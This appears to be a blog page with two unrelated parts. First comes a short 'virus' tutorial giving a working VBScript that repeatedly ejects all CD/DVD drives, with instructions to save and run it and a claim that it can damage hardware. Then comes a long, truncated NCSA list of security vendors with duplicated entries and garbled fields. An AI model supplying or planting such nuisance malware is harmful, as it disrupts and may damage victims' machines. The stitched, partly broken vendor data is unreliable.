Virus That Ejects your CD/Dvd Drive Again and Again.

Try at your own risk. I am not responsible for your own deeds. For educational purpose only.

In this blog i will show you how to create a Virus That Ejects your CD/Dvd Drive Again and Again.. Its not a prank… This Can Damage your CD/Dvd Drive…

Here is the code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Write this code in notepad and save it as anything.vbs
Virus created. Now you just need to click it and Enjoy….

Large Security Vendors List

Security Vendors

This list was prepared by the National Computer Security Association. It lists 480 vendors of security products and services. Vendors are listed alphabetically by company name. Where two or more addresses for a vendor were available, I’ve provided both. Where I knew the firm’s date of founding or number of employees, I’ve provided that. In some cases, two phone numbers are provided, in some cases, none. If no area code is provided, it is because it is a local call from DC,
and will be in the 301 area code (if Maryland), 703 area code (if VA), or 202 area code (if DC). The list is updated frequently. If you have any corrections or additions, please provide them. Our address: NCSA, Suite 309, 4401-A Connecticut Avenue, Washington, DC 20008. (202) 364-8252 (voice); (202) 364-1304 (BBS).

1st Aid Software, 42 Radnor Road, Boston, MA 02135 Phone: 617-783-7118.
3Com, 3165 Kifer Road, Santa Clara, CA 95052 Phone: 408-562-6400.
Absolute Security, Inc., POB 399, 63 Great Road, Maynard, MA 01754 Phone: 508-897-1991. Year established: 1985. Number of employees: 20.
ACD Corp., 131 N. Hedges, Dayton, OH 45403 Phone: 513-252-2600.
Acer Technologies, 401 Charcot Avenue, San Jose, CA 95131 Phone: 408-922-0333.
ACS Communication Systems Inc., 480 Spring Park Place, Suite 900, Herndon, VA 22070 Phone: 703-471-0892.
Adams & Associates, POB 1467, Springfield, VA 22151 Year established: 1962. Number of employees: 4.
Adams Russell/Micro-Tel Corp., 10713 Gilroy Road, Hunt Valley, MD 21030 Phone: 301-771-0077.
ADC Telecommunications, Inc., 4900 West 78th St., Minneapolis, MN 55435 Phone: 612-835-6800. Year established: 1935. Number of employees: 1000.
ADC Telecommunications, Inc., 4900 West 78th St., Minneapolis, MN 55435 Phone: 612-835-6800. Year established: 1935. Number of employees: 1000.
Advanced Computer Security Concepts, 4609 Logsdon Drive, Annandale, VA 22003 Phone: 703-354-0985. Year established: 1982. Number of employees: 20.
Advanced Information Management, 1988 Davis Ford Road, #6, Woodbridge, VA 22192-2712 Phone: 643-1002. Year established: 1979. Number of employees: 20.
Advanced Technology Systems, 8229 Boone Blvd., Suite 300, Vienna, VA 22180 Phone: 703-761-3200.
All-tronics, Inc., 175 Marcus Boulevard, Hauppauge, NY 11788 Phone: 516-333-3090.
Allsafe Company, 1105 Broadway, Buffalo, NY 14212 Phone: 716-896-4515. Year established: 1963. Number of employees: 50.
Alpha Software Corp., 1 N. Avenue, Burlington, MA 01803 Phone: 617-229-2924.
Alps, 1502 County Road 25, Woodland Park, CO 80863
AM International Inc., POB 396, Florham Park, NJ 07932-0396 Phone: 703-525-5533.
Amdek Corp., 3471 N. First St., San Jose, CA 95134 Phone: 800-722-6335.
Amer. Computer Security Industries, 112 Blue Hills Court, Nashville, TN 37214 Phone: 615-883-6741. Year established: 1979. Number of employees: <20. American Computer Technology, , Arlington, VA Phone: 800-672-7368 703-525-0111. American Computer Security, Industries, 112 Blue Hills Court, Nashville, TN 37214 Phone: 615-883-6741. Year established: 1979. Number of employees: <20. American Electronic Laboratories, 305 Richardson Road, Lansdale, PA 19446 Phone: 215-822-2929 x 2484. American Electronic Labs, Inc., POB 691, Farmingdale, NJ 07727 Phone: 201-938-5191 x 228. American Magnetics Corporation, 740 Watsoncenter Road, Carson, CA 90745-4181 Phone: 213-775-8651. Year established: 1971. Number of employees: 100. AmonRe Microsystems, 2160 Old Oakland Road, San Jose, CA 95131 Phone: 800-828-7898. Anchor Pad International, 4483 McGrath St., Suite 103, Ventura, CA 93003 Phone: 800-426-2467 805-658-2661. Year established: 1972. Number of employees: 100+. Anchor Pad International, 4483 McGrath St., Suite 103, Ventura, CA 93003 Phone: 800-426-2467 805-658-2661. Year established: 1972. Number of employees: 100+. Anderson Jacobson, Inc., 521 Charcot Avenue, San Jose, CA 95131 Phone: 408-439-1060. Apollo Computers, Inc., POB 494, Chelmsford, MA 01824 Phone: 617-256-6600. Aquidneck Management Associates, 28 Jacome Way, Middletown, RI 02840 Phone: 401-849-8900. Year established: 1981. Number of employees: 24. Archive Corporation, 1650 Sunflower Ave., Costa Mesa, CA 92626 Phone: 714-966-4711 800-237-4929. Arcus Data Security, Inc., POB 326, Union City, CA 94587 Phone: 415-489-5100. Year established: 1971. Number of employees: 100+. Arthur Andersen & Co., 69 W. Washington, Chicago, IL 60602 Phone: 312-507-6448. Year established: 1913. Number of employees: 200 offices. ASKY Inc., 770 Sycamore Drive, Milpitas, CA 95035 Phone: 408-943-1940. Astronautics Corp, 4115 N. Teutonia Ave., POB 523, Milwaukee, WI 53209 Phone: 414-447-8200. Year established: 1959. Number of employees: 5000+. Astronautics Corp, 4115 N. Teutonia Ave., Milwaukee, WI 53209 Phone: 414-447-8200. Year established: 1959. Number of employees: 5000+. AT&T American Transtech, Data Security Services, 2600 Maitland Center Pkwy #390, Maitland, FL 32751 Phone: 800-447-0012. Year established: 1984. Number of employees: 4. AT&T Communications, POB 46051, Lincolnwood, IL 60646 Phone: 312-982-3156. AT&T Data Services, 9333 John Young Parkway South, Orlando, FL 32819 Phone: 800-447-0012 407-345-7565. Year established: 1984. Atalla Corp., 2304 Zanker Road, San Jose, CA 95131 Phone: 408-435-8850. Atlantic Research Corp., 5390 Cherokee Ave., Alexandria, VA 22312 Phone: 642-4080 642-4023. Number of employees: 100+. Atlantic Research Corp., 105 International Drive, POB 28, Sterling, VA 22170 Phone: 703-642-4080. Atlantic Research Corp., California Facility, 1231 Midas Way, Sunnyvale, CA 94088 Aura Technologies, Inc., 121 Forest Ridge Drive, Sterling, VA 22170 Phone: 703-435-6736. Autosig Systems, Inc., 4324 North Belt Line Road, Irving, TX 75038 Phone: 214-258-8033. Year established: 1981. Number of employees: <20. Avant-Garde Computing, Inc., 8000 Commerce Parkway, Mount Laurel, NJ 08054 Phone: 609-778-7000. Year established: 1978. Number of employees: <100. Axonix Corporation, 2257 South 1100 East, Salt Lake City, UT 84106 Phone: 801-466-9797. Year established: 1983. Number of employees: 20-49. Axonix Corporation, 2257 South 1100 East, Salt Lake City, UT 84106 Phone: 801-466-9797. Year established: 1983. Number of employees: 20-49. B-Safe Industries, Inc., POB 153-H, Scarsdale, NY 10583 Phone: 914-723-2553. Year established: 1984. Number of employees: <20. Backup Recovery Services, 1620 N.W. Gage Blvd., Topeka, KS 66618 Phone: 913-232-0368. Year established: 1985. Number of employees: <20. Backup Recovery Services, 1620 N.W. Gage Blvd., Topeka, KS 66618 Phone: 913-232-0368. Year established: 1985. Number of employees: <20. Bank Data Bank, Box 80, Carle Place, NY 11514 Phone: 516-334-7362. Year established: 1977. Number of employees: 2. Barlows Inc, Adv. Measurement Sys. Div., 1115 W. Broad St., Falls Church, VA 22046 Phone: 534-4214. Bartel Software, 942 East 7145 South, Suite A101, Midvale, UT 84047 BDM Corp., 10260 Old Columbia Road, Columbia, MD 21046 Phone: 301-290-6212. Belden Menkus, Consultant, Box 85, Middleville, NJ 07855 Phone: 201-383-3928 201-383-9419. Year established: 1969. Number of employees: 2. Berger & Co., 1350 17th St., Suite 300, Denver, CO 80202 Phone: 303-571-4557. Year established: 1981. Number of employees: 50. Boden Associates, Inc., 11 Meadow Lane, E. Williston, NY 11596 Phone: 516-294-2648. Year established: 1984. Number of employees: 4. Borland International, 1800 Green Hills Road, POB 660001, Scotts Valley, CA 95066-0001 Phone: 408-439-1060. Bourbaki, Inc., 615 W. Hays, POB 2867, Boise, ID 83702 Phone: 208-342-5849. Bowers Engineering Company, Box 8569, Allentown, PA 18105 Phone: 215-432-7878. Year established: 1966. Number of employees: 1. Bowmar/ALT, Inc., POB 10, Acton, MA 01720 Phone: 408-741-0480. Brandon Consulting Group, 1775 Broadway, New York, NY 10019 Phone: 212-977-4400. Year established: 1968. Number of employees: 120. Brinling Associates, Prickly Mountain Road, POB 75A, Warren, VT 05674 Phone: 802-496-3933. Number of employees: 2. Brown Bag Software, Software Resource Group, Inc., 2105 S. Bascom Ave., Campbell, CA 95008 Business Analysis & Consulting Gp., 16 Park Forest Drive, Pittsford, NY 14534 Phone: 716-248-3946. Year established: 1987. Number of employees: 1. Business Security Systems Corp, 123 Valley Center Drive, Chesterfield, MO 63005-1311 Year established: 1984. Number of employees: 4. C.H. Systems Inc., 13914 Bora Bora Way, Marina Del Rey, CA 90292 Phone: 213-305-9341. Year established: 1984. Number of employees: 20-49. C.R. International, 5012 Herzel Place, POB 655, Beltsville, MD 20705 Phone: 301-595-5350. Year established: 1981. Number of employees: 20-49. C3 Enterprises, Inc., POB 30532, Honolulu, HI 96820 Phone: 808-671-3336. Number of employees: 3. C3, Inc., 460 Herndon Parkway, Herndon, VA 22070 Phone: 703-471-6000. Cadre, Inc., 19 Ensign Drive, Avon, CT 06001 Phone: 203-674-1285. Year established: 1981. Number of employees: <20. Candes Systems, Inc., 3131 Detweiler Road, Harleysville, PA 19438 Phone: 215-256-4130. Casady & Greene, Inc., POB 223779, 26080 Carmel Rancho Blvd #202, Carmel, CA 93922 Phone: 408-624-8716 800-331-4321. Year established: A.M.E.. Case/Datatel, 55 Carnegie Plaza, Cherry Hill, NJ 08003 Phone: 609-424-4451 800-424-4451. Number of employees: 100+. CE Software, 1854 Fuller Road, POB 65580, West Des Moines, IA 50265 Phone: 515-224-1995. Central Point Software, Inc., 15220 N.W. Greenbrier Parkway, Suite 200, Beaverton, OR 97006 Phone: 503-690-8090. Chamisa Associates, 1650 University Blvd., NE, Albuquerque, NM 87102 Phone: 505-842-0510. Year established: 1984. Number of employees: 3. Chomerics, Inc., POB 2436, Woburn, MA 01888 Phone: 617-935-4850 x 355. Chromatics, Inc., 2558 Mountain Indust. Blvd., Tucker, GA 30084 Phone: 404-493-7000. Codenoll Technology Corp., 1086 N. Broadway, Yonkers, NY 10701 Phone: 914-965-9300. Codex Corporation, Maresfield Farm, 7 Blue Hill River Road, Canton, MA 02021-1097 Phone: 617-364-2000. Year established: 1971. Number of employees: 1000-5000. Comdisco Disaster Recovery Service, 6111 North River Road, Rosemont, IL 60018 Phone: 312-698-3000. Year established: 1980. Number of employees: 300+. Command Software Systems, 1061 E. Indiantown Road, Suite 210, Jupiter, FL 33477-5143 Year established: 1984. Number of employees: <20. Command Software Systems, Inc., 28990 Pacific Coast Highway, Suite 208, Malibu, CA 90265 Phone: 213-457-1789. Commcrypt, Inc., 10000 Virginia Manor Drive, Suite 300, Beltsville, MD 20705 Phone: 301-470-2500 800-334-8338. Year established: Cryptolock. Communications Sciences inc., 485 Route 1, Iselin, NJ 08830 Phone: 201-750-0030. Year established: 1971. Number of employees: 50. ComNetCo, Inc, 29 Olcott Square, Bernardsville, NJ 07924 Phone: 201-953-0322. Year established: 1986. Number of employees: 20. ComNetCo, Inc, 2475 Lamington Road, Bedminster, NJ 07921 Phone: 201-781-7940. Year established: 1986. Number of employees: 20. CompuScan, inc., 900 Huyler St., Teterboro, NJ 07608 Phone: 703-931-1155. Compusec, Inc., 5333 Mission Center Road, Suite 100, San Diego, CA 92108 Phone: 619-260-1881. Computer Associates International, Professional Services, 909 Las Colinas Blvd. East, Irving, TX 75039-3906 Phone: 214-353-7850. Year established: 1988. Number of employees: 3. Computer Communications, POB 7039, Prospect, CT 06712-0039 Phone: 800-NETLOCK. Year established: LAN Tools. Computer Crime Digest, 7620 Little River Turnpike, Annandale, VA 22003 Phone: 703-941-6600. Year established: Comp crime dige. Computer Data Systems, Inc., One Curie Court, Rockville, MD 20850 Phone: 301-921-7000. Year established: 1968. Number of employees: 50. Computer Law Advisers, 6106 Lorcom Court, Springfield, VA 22152 Phone: 862-2328. Number of employees: 1. Computer Security Analysts, POB 10255, Alexandria, VA 22310 Phone: 703-922-6333. Year established: 1984. Number of employees: 4. Computer Security Consultants B.V., Westblaak 117, Rotterdam, Netherlands, 3012 KH Phone: (31) 10-4331977. Year established: 1978. Number of employees: 15. Computer Security Corporation, 2400 W. Devon, Suite 203, Chicago, IL 60659 Phone: 312-761-1764. Computerx Consulting, 9719 South Dixie Highway, Suite 12, Miami, FL 33156 Phone: 305-666-7100. Year established: 1974. Number of employees: 5. Comsearch Applied Technology, 11720 Sunrise Valley Drive, Reston, VA 22091 Phone: 703-762-2687. ComTech Publishing Ltd., POB 12340, Reno, NV 89510-2340 Conic Corp., Loral Terracom Division, 9020 Balboa Avenue, San Diego, CA 92123 Phone: 619-278-4100. Connect Computer, 9855 West 78th Street, Eden Prairie, MN 55344 Phone: 612-944-0181. Year established: Lanscope. Connecticut Software, 30 Wilson Ave., Rowayton, CT 06853 Continental Computer Assurance, 125 Pheasant Run, Newton, PA 18940 Phone: 215-968-6000. Year established: 1983. Number of employees: <20. Continental Instruments Corp, 70 Hopper St., Westbury, NY 11590 Phone: 516-334-0900. Year established: 1961. Number of employees: 50-99. Contingency Planning & Recovery, Institute, POB 81-151 Greylock Road, Wellesley Hills, MA 02181-0001 Phone: 617-235-2895. Year established: 1987. Number of employees: 2. Contingency Planning Research, Inc, POB 568, Glenwood Lnding, NY 11547 Phone: 516-754-7087. Year established: 1987. Number of employees: 25. Control Data Corp., POB O, Minneapolis, MN 55440 Phone: 612-858-6536. Controlled Power Co, 1955 Stephenson Hwy., Troy, MI 48083 Phone: 313-528-3700. Year established: 1969. Number of employees: 100-499. Controlled Power Co, 1955 Stephenson Hwy., Troy, MI 48083 Phone: 313-528-3700. Year established: 1969. Number of employees: 100-499. Coopers & Lybrand, 1111 W. Hastings St., Vancouver, Canada, V6E 3R2 Phone: 604-661-5700. Year established: 1911. Number of employees: 9. Corby Industries, Inc, 1501 E. Pennsylvania St., Allentown, PA 18103 Phone: 800-652-6729 215-433-1412. Year established: 1972. Number of employees: <30. Corman Technologies, 75 Bathurst Drive, Waterloo, Ontario, N2V 1N2 Phone: 519-884-4430. Corporate Contingency Services, 53200 Grand River, New Hudson, MI 48165 Phone: 313-486-2110. Year established: 1981. Number of employees: 6. CPT Corporation, 8100 Mitchell Road, Eden Prairie, MN 55344 Phone: 612-937-8000. Year established: 1971. Number of employees: 750. CR Laboratories, Inc., 5012 Herzel Place, Beltsville, MD 20705 Phone: 301-595-5350. Cryptech n.v., Lloyd Georpelaan, F, B-Brussels, Belgium, 1050 Phone: (32) 2-642.59.31. Year established: 1985. Number of employees: 5. Cryptek, Inc., POB 365, Herndon, VA 22070 Phone: 703-478-9444. Cryptek/Gretag Ltd, 10209 Plano Road, Dallas, TX 75238 Phone: 214-349-6044. Year established: 1943. Number of employees: 500-999. Crystal Point Inc., 12707 120th Avenue NE, Suite 202, Kirkland, WA 98034 Phone: 206-487-3773 206-821-1909. Year established: Linelock. CVI Laser Corp., Specialty Products Division, POB 11308, Albuquerque, NM 87192 Phone: 505-296-9500. Year established: KBD-Lock. CXR Telcom/Anderson Jacobson, 521 Charcot Avenue, San Jose, CA 95131 Phone: 408-435-8520. Year established: 1984. Number of employees: 250. CXR Telcom/Anderson Jacobson, 521 Charcot Avenue, San Jose, CA 95131 Phone: 408-435-8520. Year established: 1984. Number of employees: 250. Cyberchron Corp., POB 160, Cold Spring, NY 10516 Phone: 301-946-6488. Cybercom Research Corporation, 2555 Park Boulevard, Suite B, Palo Alto, CA 94306 Phone: 415-324-4332. Number of employees: <20. Cylink Corp., 110 South Wolfe Road, Sunnyvale, CA 94086 Phone: 408-735-5800. Cytrol Inc., 4620 W. 77th St., Edina, MN 55435 Phone: 612-835-4884. Year established: CyLock PC. Daedalus Group, 4750 Wiley Post Way, Suite 180, Salt Lake City, UT 84116 Phone: 801-575-6600. Data Archives Inc, 4 Litho Road, Lawrenceville, NJ 08648 Phone: 609-771-4440. Year established: 1985. Number of employees: <20. Data General Corp., 4400 Computer Drive, Westboro, MA 22312 Data General Corp., 62 T.W. Alexander Drive, Research Triangle, Park, NC 27709 Phone: 617-870-7805. Data Processing Security, Inc, 20 East Loop 820, Fort Worth, TX 76112 Year established: 1969. Data Protection Specialists, 1001 B Avenue, Suite 311, Coronado, CA 92118 Phone: 619-437-4410. Data Protection Services, Inc., 7008 E. 71st Court, Tulsa, OK 74133 Phone: 918-496-3475. Year established: 1986. Number of employees: 1. Data Security Systems, Inc., 5 Keane Terrace, Natick, MA 01760 Phone: 508-653-7101 508-655-9888. Year established: 1983. Number of employees: 5. Datapoint Corp., POB 690828, San Antonio, TX 78269-0828 Phone: 512-699-5633. DATAPORT Company, 302 Concourse Level - B2, World Trade Center, New York, NY 10048 Phone: 212-432-7070. Year established: 1985. Number of employees: 20-49. Dataproducts of New England, Inc., POB 30, Wallingford, CT 06492 Phone: 203-265-7151. Datasec Corp., Pine Valley Mill, Box 790, Wilton, NH 03086 Phone: 301-657-8822. Datashield, Inc., POB 242, Greendale, WI 53129 Phone: 414-421-7710. Year established: 1975. Number of employees: 4. DataVault Underground Data Storage, 530 Hillside Ave., Needham Heights, MA 02194 Phone: 617-444-8908. Year established: 1982. Number of employees: 20-49. Datawatch Corp., 317 New Boston St., POB 847, Wilmington, MA 01887 Phone: 617-932-0550. Datec, Inc, 2300 Englert Drive, Suite C, Durham, NC 27713 Phone: 919-544-6433. Year established: 1976. Number of employees: <20. Datek Software Associates, Inc, 245 Park Avenue, New York, NY 10167 Phone: 212-682-3434. Year established: Lock-up. Datotek, Inc, 3801 Realty Road, Dallas, TX 75244-4376 Phone: 214-241-4491. Year established: 1969. David E. Scarbrough, Inc, 1720 Belgrade Drive, Plano, TX 75023 Phone: 214-867-1604. Year established: 1984. Number of employees: <20. David T. Barry Associates, 572 Washington St., Wellesley, MA 02181 Phone: 617-235-1520. Year established: 1961. Number of employees: 3. Dayton T. Brown, Inc., 555 Church St., Bohemia, NY 11716 Phone: 516-589-6300. DCC Corp., 7300 N. Crescent Blvd., Pennsauken, NJ 08110 Phone: 609-662-7272. Del Norte Technology, Inc, 1100 Pamela Drive, Euless, TX 76039 Phone: 817-267-3541 800-433-7505. Year established: 1969. Number of employees: 250. Deloitte Haskins & Sells, 1001 Pennsylvania Ave NW, Washington, DC 20004 Phone: 202-879-5647. Year established: 1898. Number of employees: 20. Delstar, Inc., 230 E. 400 South, Springville, UT 94663 Delta Data Systems Corporation, 7175 Columbia Gateway Drive, Columbia, MD 21046 Phone: 301-290-6400. Year established: 1968. Number of employees: 100-499. Delta Technology, POB 1104, Eau Claire, WI 54702 Phone: 715-832-7575. Year established: Direct Net. DENRO, Inc., 9318 Gaither Road, Gaithersburg, MD 20877 Phone: 301-840-1597. DEST Corp., 1201 Cadillac Court, Milpitas, CA 95035 Phone: 408-946-7100. DIA*log Management, Inc., 1945 Byron Road, Merrick, NY 11566 Phone: 516-867-3333. Year established: 1979. Number of employees: 6. Diamond Electronics, Inc, POB 200, Lancaster, OH 43130 Phone: 614-756-9222. Year established: 1946. Diebold, Inc, POB 8230, Canton, OH 44711 Phone: 216-489-4000. Year established: 1859. Number of employees: 4,500. Digital Dispatch, Inc., 55 Lakeland Shores, St. Paul, MN 55043 Phone: 612-436-1000. Digital Electronic Systems, 1859 N. Pine Island, Suite 343, Plantation, FL 33322 Phone: 305-572-3338. Year established: 1978. Number of employees: <20. Digital Electronic Systems, Inc., 302 S. Main St., Estill Springs, TN 37330 Phone: 615-549-5137. Digital Equipment Corp., POB 6366, Nashua, NH 03063 Phone: 800-221-4797. Digital Pathways, Inc, 201 Ravendale Drive, Mountain View, CA 94043 Phone: (?) 964-0707. Year established: 1970. Number of employees: 50-99. Disaster Contingency Planning, Specialists, 6802 East Mescal Lane, Scottsdale, AZ 85254 Phone: 602-443-1555. Year established: 1984. Number of employees: 11. Disaster Control, Inc, POB 2639, Warminster, PA 18974 Phone: 215-355-7800. DJ Systems, Inc., 339 Skinner Building, Seattle, WA 98101 Phone: 206-587-0686. DMR Group Inc., 12 Post Office Square, Boston, MA 02109 Phone: 617-451-9500. Year established: 1973. DNB Engineering, Inc, 3535 West Commonwealth Ave., Fullerton, CA 92633 Phone: 714-870-7781. Year established: 1979. Number of employees: 20-49. DS Technologies, Inc., 1275 W. Roosevelt Rd., Suite 104, West Chicago, IL 60185 Dynamic Sciences, Inc., 9655 Irondale Avenue, Chatsworth, CA 91311-5009 Phone: 818-718-3100. E.W. Jollymore & Associates, Ltd., 4165 Fieldgate Drive, Unit #70, Mississauga, Ontario, Canada, L4W 2M9 Phone: 416-238-1907. Year established: 1977. Number of employees: 12. E3 Engineers, Inc., POB 425, Valley Forge, PA 19481 Phone: 215-644-3332. EAC, Inc., 401 Roland Way, Suite 250, Oakland, CA 94621-1330 Phone: 415-638-4075. Year established: 1977. Number of employees: 5. Earth Computer Technologies, 10525 Lawson River Avenue, Fountain Valley, CA 92708 Phone: 714-964-5784. Eaton Corp. Info Mgt Systems Div., POB 5009, Westlake, Village, CA 901359 Phone: 703-522-5600. ECCO Industries, Inc, 130 Centre St., Danvers, MA 01923 Phone: 508-777-7750. Number of employees: 20-49. EDP Associates, 11235 Pineside Drive, St. Louis, MO 63146 Phone: 314-432-8448. Year established: 1986. Number of employees: 10. EDP Audit Controls, Inc., 401 Roland Way, Suite 2, Oakland, CA 94621-1330 Phone: 415-638-4075. Year established: 1977. Number of employees: 3. EDP Security, Inc, 7 Beaverbrook Road, POB 740, Littleton, MA 01460 Phone: 508-486-8080. Year established: 1979. Number of employees: 50-99. Edward M. Edwin, 85-80 188 Street, Hollis, NY 11423 Phone: 718-454-1417. Year established: 1951. Number of employees: 4. Elgin Group, Ltd., 4720 Montgomery Lane, Suite 202, Bethesda, MD 20814 Phone: 986-4951. Year established: 1985. Number of employees: 4. Ellicott Software, Inc., 3777 Plum Hill Court, Ellicott City, MD 21043 Emucom, 225 Stedman St., Lowell, MA 01851 Phone: 508-970-1189. Year established: 1986. Number of employees: <20. Engineering & Profess. Services, 70 Apple St., Tinton Falls, NJ 07724 Phone: 201-747-8277. Year established: 1982. Number of employees: 50-99. Engineering Synthesis, Inc, POB 412, N. Kingstown, RI 02852 Phone: 401-295-1433. Year established: 1981. Number of employees: <20. Enigma Logic, Inc, 2151 Salvio, Suite 301, Concord, CA 94520 Phone: 415-827-5707. Year established: 1982. Number of employees: 28. Environ Software, Inc., 416 Murdock Road, Baltimore, MD 21212 Erik B. Rasmussen & Associates, 853 West Newport Avenue, Chicago, IL 60657 Phone: 312-248-8590. ESP Software Systems, 11965 Venice Blvd., Suite 309, Los Angeles, CA 90066 Esprit Systems, 100 Marcus Drive, Melville, NY 11747 Phone: 516-293-5600. EXE Software Systems, 8855 Atlanta #298, HuntingtonBeach, CA 92646 EyeDentify, POB 3827, Portland, OR 97208 Phone: 503-645-0567. Falcon United Industries, Inc, 7129 Gerald Avenue, Van Nuys, CA 91406 Phone: 818-785-7482. Year established: 1963. Number of employees: 20-49. Federal ADP, 24700 Crestview Court, Farmington Hill, MI 48018 Phone: 313-477-2700. Year established: 1954. Number of employees: 100-499. Fifth Generation Systems, 10049 N. Reiger Road, Baton Rouge, LA 70809 Phone: 504-291-7221. Fil-Tech, Inc, 175 Marcus Blvd, Hauppauge, NY 11788 Phone: 516-436-7340. Number of employees: 20-49. Fingermatrix, Inc, 30 Virginia Road, N. White Plains, NY 10603 Phone: 914-428-5441. Year established: 1976. Number of employees: 50-99. FiQuench Division, Fike Metal Products Corp., POB 610, Blue Springs, MO 64015 Phone: 816-229-3405. Year established: Halon 1301 fire. Fischer International, 4073 Merchantile Ave., POB 9107, Naples, FL 33942 Phone: 813-643-1500 800-237-4510. Year established: 1982. Number of employees: 75. FMJ Security Systems, 1984 E. Gladwick St., Compton, CA 90220-6201 Phone: 213-632-9751. Year established: 1981. Number of employees: 20-49. FoundationWare, 13110 Shaker Square, Cleveland, OH 44120 Phone: 216-752-8181 800-722-8737. Number of employees: 20-49. G.S. Butz, Inc., 400 Gordon Drive, Suite 606, Exton, PA 19341 Phone: 215-363-9250. Year established: 1969. Number of employees: <20. Gage-Babcock & Associates, 125 Addison Ave., Elmhurst, IL 60126 Phone: 312-53901484 800-521-6949. Year established: 1952. Number of employees: 29. Galaxy Control Systems, 3 North Main St., Walkersville, MD 21793 Phone: 301-845-4141. Year established: 1983. Number of employees: 100-499. Gandalf Technologies Inc, 1020 S. Noel Ave., Wheeling, IL 60090 Phone: 312-541-6060. Year established: 1971. Number of employees: 1000-5000. Gazelle Systems, 47 North University Ave., Suite 10, Provo, UT 84601 Phone: 800-233-0383. General Binding Corporation, One GBC Plaza, Northbrook, IL 60062 Phone: 312-272-3700. Year established: 1944. Number of employees: 5000+. General Data Security Systems, 1127 Loma Ave., Long Beach, CA 90804 Phone: 213-494-1127. Year established: CIA. General Power Corporation, 1045 S. East St., Anaheim, CA 92815 Phone: 714-956-9321 800-854-3469. Year established: 1971. Number of employees: 100-499. Gibson Research Corporation, 22991 LA CAVENA, Laguna Hills, CA 92653 Phone: 714-830-2200. Gilliam Associates, POB 350, Ponca City, OK 74602 Phone: 405-762-4837. Year established: 1982. Glenco Engineering Inc, 270 Lexington Dr., Buffalo Grove, IL 60089 Phone: 312-364-7638. Year established: 1979. Number of employees: <20. GLenco Engineering, Inc., 721 W. Algonquin Road, Arlington Hts., IL 60004 Phone: 312-392-2492. GN Telematic, Inc., 46 Manning Road, Billerica, MA 01821 Phone: 800-468-8353. Golden Bow Systems, 2870 Fifth Ave., Suite 201, San Diego, CA 92103 Phone: 618-298-9349. Grid Systems Corp., 47211 Lakeview Blvd., Freemont, CA 94537 Phone: 415-961-4800. H-F Computing Services Inc, 191 Eglinton Avenue East, Suite 302, Toronto, ONT M4P 1K1 Phone: 416-485-5403. Year established: 1983. Number of employees: <20. Harcom Security Systems, 130 William St., New York, NY 10038 Phone: 212-766-1802. Year established: 1986. Number of employees: <20. Harris Devlin Associates, Inc., 430 Exton Commons, Exton, PA 19341 Phone: 215-363-2227. Year established: 1973. Number of employees: 5. Harvey Software, Division of BHC, Inc., POB 06596, Ft. Myers, FL 33906 Hawthorne Associates, , Phone: 617-861-9292. Year established: Security video. Heinlein Associates, Inc., 345 Riviera Drive, San Rafael, CA 94901 Phone: 415-453-2936. Hetra Computer & Communications, POB 9000, Sebastian, FL 32958 Phone: 407-589-7331. Hewlett-Packard Co., 19310 Pruneridge Ave., Cupertino, CA 95014 Phone: 800-752-0900. Hirsch Electronics Corporation, 1751 Langley Avenue, Irvine, CA 92714 Phone: 714-250-8888. Host Consulting Services, Inc, 3 Weston Road, Westport, CT 06880 Phone: 203-454-7610. Number of employees: 20-49. HOTSITE, A Division of RMI Company, 110 MacKenan Drive, Cary, NC 27511 Phone: 919-460-1234. Year established: 1980. Number of employees: 130. HSH, Inc., 2715 Tuller Parkway Drive, Dublin, OH 43017 Phone: 614-766-6881. HST Information Systems Ltd., 430 Gilmour St., Ottawa, Ontario, Canada, K2P 0R8 Phone: 613-236-7303. Year established: 1979. Number of employees: 30. ICS, Inc, 520 Interstate Road, Addison, IL 60101 Phone: 312-543-6200. Year established: 1964. Number of employees: 20-49. Identix, Inc, 510 N. Pastoria, Sunnyvale, CA 94086 Phone: 408-739-2000. Number of employees: 31. Ilex Systems Inc., 1423 South Milpitas Blvd., Milpitas, CA 95035 Phone: 408-945-0294. Year established: 1982. Number of employees: 100-499. Inforite Corporation, 1670 S. Amphlett Blvd., Suite 201, San Mateo, CA 94402 Phone: 415-571-8766. Information Conversion Services, 320 N. Michigan Avenue, Suite 2100, Chicago, IL 60601 Phone: 312-419-0366. Year established: 1984. Number of employees: <20. Information Conversion Services, 1625 S. Fairview, Park Ridge, IL 60068 Phone: 312-266-8378. Information Integrity Investments, 2040 Polk St., #313, San Francisco, CA 94109-2520 Phone: 415-788-3159. Year established: 1984. Number of employees: 2. Information Intelligence Sciences, 15694 E. Chenango Avenue, Aurora, CO 80015 Phone: 303-693-8291. Year established: 1982. Number of employees: 6. Information Security Inc., 1001 Spring Street, Suite 123, Silver Spring, MD 20910 Phone: 301-565-8168. Year established: 1985. Number of employees: 7. Information Security International, 1299 Lamberton Drive, Silver Spring, MD 20902 Phone: 649-6920. Year established: 1986. Number of employees: 15. Infosecure, 5230 Hingston, Montreal, Quebec, Canada, H3X 3R4 Phone: 514-488-3604. Year established: 1984. Number of employees: 1. Institute of Internal Auditors, 249 Maitland Ave., Altamonte, Springs, FL 32701-4201 Phone: 407-830-7600. Number of employees: 50-99. Integrated Protection Systems, Inc, 9 Sunrise, Irvine, CA 92715 Phone: 714-854-2533. Year established: 1986. Number of employees: 1. Integrity Technology, Inc., Blyth Court, Suite 1130, Blue Bell, PA 19422 Phone: 215-542-9870. Intelligent Control Inc, 6825 216th St. SW, Lynnwood, WA 98036 Phone: 206-771-8107. Year established: 1982. Number of employees: 20-49. Intellisoft International, POB 5055, Novato, CA 94948 Phone: 800-544-mark. International Computer Products, 7137 North 15th St., Phoenix, AZ 85020 Phone: 602-870-4884. Year established: 1987. Number of employees: <20. International Power Machines, 2975 Miller Park North, Garland, TX 75042 Phone: 214-272-8000. Year established: 1963. Number of employees: 100-499. International Power Machines, 2975 Miller Park North, Garland, TX 75042 Phone: 214-272-8000. Year established: 1963. Number of employees: 100-499. International Security Technology, Suite 1710, 515 Madison Ave., New York, NY 10022 Phone: 212-288-3101. Year established: 1978. Number of employees: <20. InterPath, 4423 Cheeney St., Santa Clara, CA 95054 Phone: 408-988-3832. Year established: 1982. Number of employees: <20. Intra Computer Inc., 875 Avenue of the Americas, New York, NY 10001 Phone: 212-947-5533. IRE Inc, 5024 Campbell Boulevard, Baltimore, 